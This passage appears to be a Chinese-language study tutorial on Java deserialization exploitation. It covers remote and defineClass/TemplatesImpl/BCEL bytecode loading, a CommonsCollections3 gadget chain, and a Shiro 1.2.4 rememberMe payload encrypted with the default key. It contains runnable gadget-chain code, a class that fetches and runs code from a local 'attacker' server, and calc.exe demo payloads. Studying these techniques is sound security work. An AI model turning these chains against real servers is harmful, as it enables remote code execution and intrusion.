然后本地进行编译,或者直接用idea Run一次,应该能看到编译生成好的class文件:
我们直接在这个目录用python快速启动一个web服务:
python -m http.server 8000
接着写一个受害者端加载远程恶意类的代码:
package classExample;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class RemoteLoader {
public static void main(String[] args) throws Exception {
// 攻击者的HTTP地址
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
// 加载类
Class<?> clazz = classLoader.loadClass("classExample.Evil");
// 调用 main 方法(或构造方法)
Method mainMethod = clazz.getMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[]{});
}
}
有点像早年的php远程文件包含,不过这种远程类加载在 JDK 8 及之前默认允许,JDK 11+ 默认对远程类加载限制更严格,就没这么好使了。
defineClass直接加载
加载字节码,无论是远程还是本地,最后都会到defineClass,Java会经过三个方法调用:ClassLoader#loadClass=>ClassLoader#findClass=>ClassLoader#defineClass
- loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
- findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
- defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
defineClass决定了如何将一段字节流转化成Java类,而默认情况下,他是一个native对象,逻辑在JVM的C语言代码中。不过defineClass调用的时候,类对象不会被初始化,所以如果要使用defineClass来加载类的时候,需要想办法调用构造方法,而 ClassLoader#defineClass 是一个保护属性,要想访问它,只能通过我们的老朋友——反射:
package classExample;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class defineClass {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
TemplatesImpl加载字节码
defineClass过于底层,一般的开发者也用不到它,不过Java的一些类还是用到了它,那就是TemplatesImpl, 我们搜一下 TemplatesImpl,可以看到它定义了一个 TransletClassLoader,而它重写了defineClass:
它没有声明定义域,所以从父类的 protected 变成了现在的 default,可以被实现了该接口的类或其子类的对象调用,我们回溯一下调用链,首先可以看到一个TemplatesImpl#defineTransletClasses()
,可惜是private的:
再往回跟,可以看到 getTransletInstance 调用了 defineTransletClasses ,可惜还是一个private的:
最后,我们可以看到一个public的newTransFormer的调用了 getTransletInstance,这玩意儿就能在外面被调用了 :
整合一下,现在的链子就是:
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
那怎么构造poc呢,我们往回看看怎么传入我们的数据,首先defineClass只需要把code传进去就行了,这没什么好说的,而回到 defineTransletClasses
这里,涉及到了 TransletClassLoader
对象的创建,因此第二个参数必须传入否则会报错,我们传个null就行:
所以我们得写个:
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
从图里可以看到 defineClass
执行的代码来自于 _bytecodes
,而这是一个可控的私有成员变量:
所以我们的代码得是:
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
再往回跟可以看到 getTransletInstance
这里还必须满足_name不为null,否则直接return null了就不走下面的 defineTransletClasses
了:
所以我们得给_name随便设个值保证他不为空:
setFieldValue(templates,"_name","test");
不过我们现在想直接跑我们的序列化数据其实是跑不通的,因为 TemplatesImpl
加载的字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类,所以我们需要构造一个继承了 AbstractTranslet
的类,在他的构造方法里去写我们要执行的代码:
package classExample;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TempClass extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public TempClass() {
super();
System.out.println("Hello Fushuling");
}
}
然后用javac TempClass.java把它编译成TempClass.class,最后写个代码把它转成base64:
package classExample;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class BytecodeToBase64 {
public static void main(String[] args) throws Exception {
// 读取字节码文件
Path path = Paths.get("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\classExample\\TempClass.class");
byte[] bytecode = Files.readAllBytes(path);
// 将字节码转换为Base64格式字符串
String base64 = Base64.getEncoder().encodeToString(bytecode);
// 输出Base64格式字符串
System.out.println(base64);
}
}
用这个获得的base64填充我们的字节码数据,最后的代码:
package classExample;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
//利用反射给私有变量赋值如下
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
利用BCEL ClassLoader加载字节码
BCEL(Byte Code Engineering Library) 是 Apache 提供的一个强大的开源库,用于分析、创建和修改 Java 字节码(.class 文件),不需要源代码就能操作 Java 类文件。
BCEL 可以被看作是一个“Java 字节码编辑器”,它允许你在运行前或运行时:
- 读取
.class
文件 - 修改其中的方法、字段、字节码指令
- 甚至动态生成新的类
常被用于字节码注入/插桩、静态分析等等,BCEL 提供了几个核心类:
InstructionFactory
: 快速创建各种字节码指令。ClassParser
: 读取.class
文件并生成JavaClass
对象。JavaClass
: 表示一个类,包含方法、字段等信息。MethodGen
: 用于构造或修改方法。InstructionList
: 管理一个方法体里的字节码指令集合。
比如就拿上一节里我们编译出来的Temp.class为例,我们可以使用 BCEL 直接读取这个class,获取他的类名:
package classExample;
import com.sun.org.apache.bcel.internal.classfile.ClassParser;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
public class ReadClass {
public static void main(String[] args) throws Exception {
ClassParser parser = new ClassParser("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\classExample\\TempClass.class");
JavaClass clazz = parser.parse();
System.out.println("类名: " + clazz.getClassName());
clazz.getMethods(); // 可以进一步遍历方法、字段等
}
}
这里我们可以使用BCEL 提供的 Repository 将一个Java Class 先转换成原生字节码,或者直接使用javac命令来编译java文件生成字节码,然后使用 Utility 用于将原生的字节码转换成BCEL格式的字节码,首先创建一个恶意类:
package classExample;
public class Evil {
public void exec() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
用javac Evil.java编译成Evil.class,然后我们将原生的字节码转换成BCEL格式的字节码:
package classExample;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class HelloBCEL {
public static void main(String[] args) throws Exception {
encode();
}
protected static void encode() throws Exception {
JavaClass cls = Repository.lookupClass(classExample.Evil.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println("== BCEL 编码字节码 ==");
System.out.println("$$BCEL$$" + code); // 加上前缀才能被识别
}
}
接着用 BCEL ClassLoader 加载这串字节码然后执行其中的代码:
package classExample;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class HelloBCEL {
public static void main(String[] args) throws Exception {
//encode();
decode();
}
protected static void encode() throws Exception {
JavaClass cls = Repository.lookupClass(classExample.Evil.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println("== BCEL 编码字节码 ==");
System.out.println("$$BCEL$$" + code); // 加上前缀才能被识别
}
protected static void decode() throws Exception {
// 将 encode() 打印出来的 BCEL 字符串粘贴到这里
String bcelStr = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$eb8$b1c$i$d2$ba$a4$7c$7f$b6$88$U$a4$e6$c2$ad$88$L$K$t$f3$nR$95$f3fY$85m$j$3b$b27U$fe$R$e7$5e$K$e2$c0$P$e0G$n$de$$U$5b$a9X$f2$3c$cf$9b7of$e4$df$7f$7e$fe$C$f0$SO$T$c4$b8$99$e0$Wn$c7$b8$e3$f0n$84$7b$J$da$b8$l$e1A$84$87$C$9dW$a64$f6$b5$40k$b8s$m$Q$be$a9$beh$81$7enJ$fd$7e9$9f$eaz_N$L2Y$5e$vY$i$c8$da$b8$fc$8c$M$edW$d3$Il$e4$aa$90M3$5e$c9$f9$a2$d0$a3$f1$b1$v$f6X$d4$x$ad$E$Eu$83$fcP$k$cbQ$n$cb$d9h$bcRzaMUR$d2$9bX$a9$8e$de$c9$85$f7$e3j$C$c9$a4Z$d6J$bf5$ce$bf$eb$acv$5do$8a$$$92$I$8fR$3c$c6$T$81$98$bb$a8$5d$OH$b1$86$zn$f0$l$ff$U$dbH$E$d6$af$ec$s$b0v$n$ff0$3d$d4$caRvA$7dZ$96$d6$cc9$3e$99i$7b$9e$M$86$3b$f9$V$Nox6$bcDOlm$ca$d9$dee$e5$c7$baR$bai$a8$ec$_X$b4$fe$e4$fdZ$w$cdS$o$fe$l$f7$E$Q$ee$40$c6k$ccFDAl$3f$ff$Oq$e2$cb$vc$c7$93$z$f4$Y$d3$7f$C$5cG$9f$c8$8b$ce$9b$8f$a8$O$88$d9$P$EY$eb$U$e1$e7o$88$f3$X$a7$e8$9c$f8$9e$$$7b$dbtq$8e$9b$fcr$be$5d$cfFt$8e$b1N$a7$9e$af$F$c4$90y$e6$fb$b2$b3Y$h$7c$p$Ey$84$h$n$L$D$bf$de$e6_$e0$8bW$84s$C$A$A";
com.sun.org.apache.bcel.internal.util.ClassLoader loader =
new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class<?> clazz = loader.loadClass(bcelStr);
Object instance = clazz.getDeclaredConstructor().newInstance();
clazz.getMethod("exec").invoke(instance);
}
}
可惜在Java 8u251的更新中,这个ClassLoader被移除了,所以高版本也用不了了,令人感叹。
CommonsCollections3
CC3的出现,是为了绕过⼀些规则对InvokerTransformer的限制,比如最初的demo里我们就用了这个InvokerTransformer:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class easycc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
而在上一节中,我们学习了如何利⽤ TemplatesImpl 执⾏字节码,回忆一下它的利用链:
TemplatesImpl#newTransformer() => TemplatesImpl#getTransletInstance() =>
TemplatesImpl#defineTransletClasses() => TransletClassLoader#defineClass()
所以自然而然,我们就能想到用 TemplatesImpl 接上CC1的链子,只需要CC1和 TemplatesImpl 的这两段POC,即可很容易地改造出⼀个执⾏任意字节码的CommonsCollections利⽤链,我们只需要将最初demo中 InvokerTransformer 执⾏的⽅法改成 TemplatesImpl#newTransformer ,即为:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
这里我就直接用之前的字节码数据了,整合一下代码如下:
package classExample;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class NewCC1 {
//利用反射给私有变量赋值如下
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
经过对于CC1+TemplatesImpl的介绍,我们现在来看看CC3是怎么个事儿,在ysoserial的CC3中,可以发现他用了两个新的东西,一个叫TrAXFilter
,一个叫InstantiateTransformer
。
先来看看TrAXFilter,可以看到它的构造方法里竟然直接调用了TemplatesImpl链子的入口点newTransformer:
接着我们去找一个地方触发 TrAXFilter 的构造方法,可以看到 InstantiateTransformer 完美的解决了这个问题,它的作用就是调用构造方法:
现在思路就很明显了,利用 InstantiateTransformer 调用 TrAXFilter 的构造方法,再利用 TrAXFilter 触发 TemplatesImpl 链子的入口点 newTransformer,这样就又能在不使用 InvokerTransformer 的情况下触发CC链了,其他的其实和CC1都一样,只是需要我们修改一下ChainedTransformer,完整代码如下:
package classExample;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
TemplatesImpl在Shiro中的利用
首先,让我们在本地搭一个shiro应用,这里直接使用p神的代码:https://github.com/phith0n/JavaThings/tree/master/shirodemo
然后下一份tomcat纯源码:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.104/bin/apache-tomcat-9.0.104.zip
这里我的版本是jdk 1.8.0_65,注意生成payload的jdk版本要和用tomcat搭的服务的版本一样,不然有可能打不通。
因为p神其实都帮我们把环境配好了,所以其实环境搭起来并不困难,首先git clone一下:
git clone https://github.com/phith0n/JavaThings/
打开之后会问你要不要自动load环境,你就同意就行
然后在setting这里配一下我们的tomcat(点加号,然后选tomcat server,填一下tomcat路径即可):
然后配一下这个edit configurations
选一个local的tomcat:
然后按默认的来就行了,接着点一下这个fix:
选第一个即可:
最后直接run,就可以跳转到登录页面了:
然后终于可以大展拳脚了,账号是root,密码是secret,勾一下Remember me,可以看到有一个rememberMe的cookie
Shiro 提供 rememberMe
功能,用于在关闭浏览器后,仍然能“记住”用户的登录状态。它的机制是:
- 登录成功时,将用户的身份信息进行序列化;
- 然后通过对称加密(AES)加密后,存储到客户端的 Cookie 中(默认名叫
rememberMe
); - 用户下次访问时,Shiro 会读取 Cookie,并 解密+反序列化 来还原用户身份
Shiro 在解密 Cookie 后,会将其内容当成 Java 对象进行反序列化,但却没有做严格的类型检查或白名单限制。因此攻击者只要能构造一个恶意的序列化对象,然后使用 Shiro 使用的加密密钥进行加密Shiro,并将这个值放进 Cookie 中发给服务器,那么服务器会在接收到 Cookie 后解密并反序列化,最终触发恶意代码,因此流程就是:rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化。
这里我们先下一个有漏洞的shiro 1.2.4,那么现在的思路其实也很清晰了,把我们学习的CC链生成一个payload,用shiro的key加密再发给服务器,服务器就会反序列化然后执行我们的恶意代码,比如这个demo(这个CommonsCollections6是我们之前创的类,或者copy一下p神的放在同一个包里就行):
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Base64;
public class attack1 {
public static void main(String[] args) throws Exception {
byte[] payload = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payload, key);
System.out.printf(ciphertext.toString());
}
}
可惜,报错了:
